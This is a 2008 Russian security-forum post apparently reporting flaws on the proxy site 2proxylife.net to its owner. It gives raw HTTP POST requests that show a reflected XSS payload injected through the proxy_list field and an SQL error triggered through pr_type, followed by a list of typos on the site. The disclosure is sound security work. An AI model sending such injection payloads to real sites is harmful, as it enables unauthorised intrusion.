Тема: 2proxylife.net
Показать сообщение отдельно

  #10  
Старый 03.07.2008, 17:25
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

XSS в POST запросе:

Код:
Host: www.2proxylife.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.2proxylife.net/index.php?sort=siske&sortby=desc'
Cookie: PHPSESSID=ad8f11fbc8767bab42e87778c6c61003
Content-Type: application/x-www-form-urlencoded

m=user_check&proxy_list=</textarea><script>alert(/Hi/)</script>siske&pr_type=socks5&pr_timeout=10
SQL error:
Код:
Host: www.2proxylife.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.2proxylife.net/index.php?sort=siske&sortby=desc'
Cookie: PHPSESSID=ad8f11fbc8767bab42e87778c6c61003
Content-Type: application/x-www-form-urlencoded

m=user_check&proxy_list=&pr_type=siske&pr_timeout=10
Опечатки:
Код:
http://www.2proxylife.net/?req=getlist
"Не зарегистрировынным" -> "Незарегистрированным"
"uptame" -> "uptime"
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 03.07.2008 в 18:16..
 
Ответить с цитированием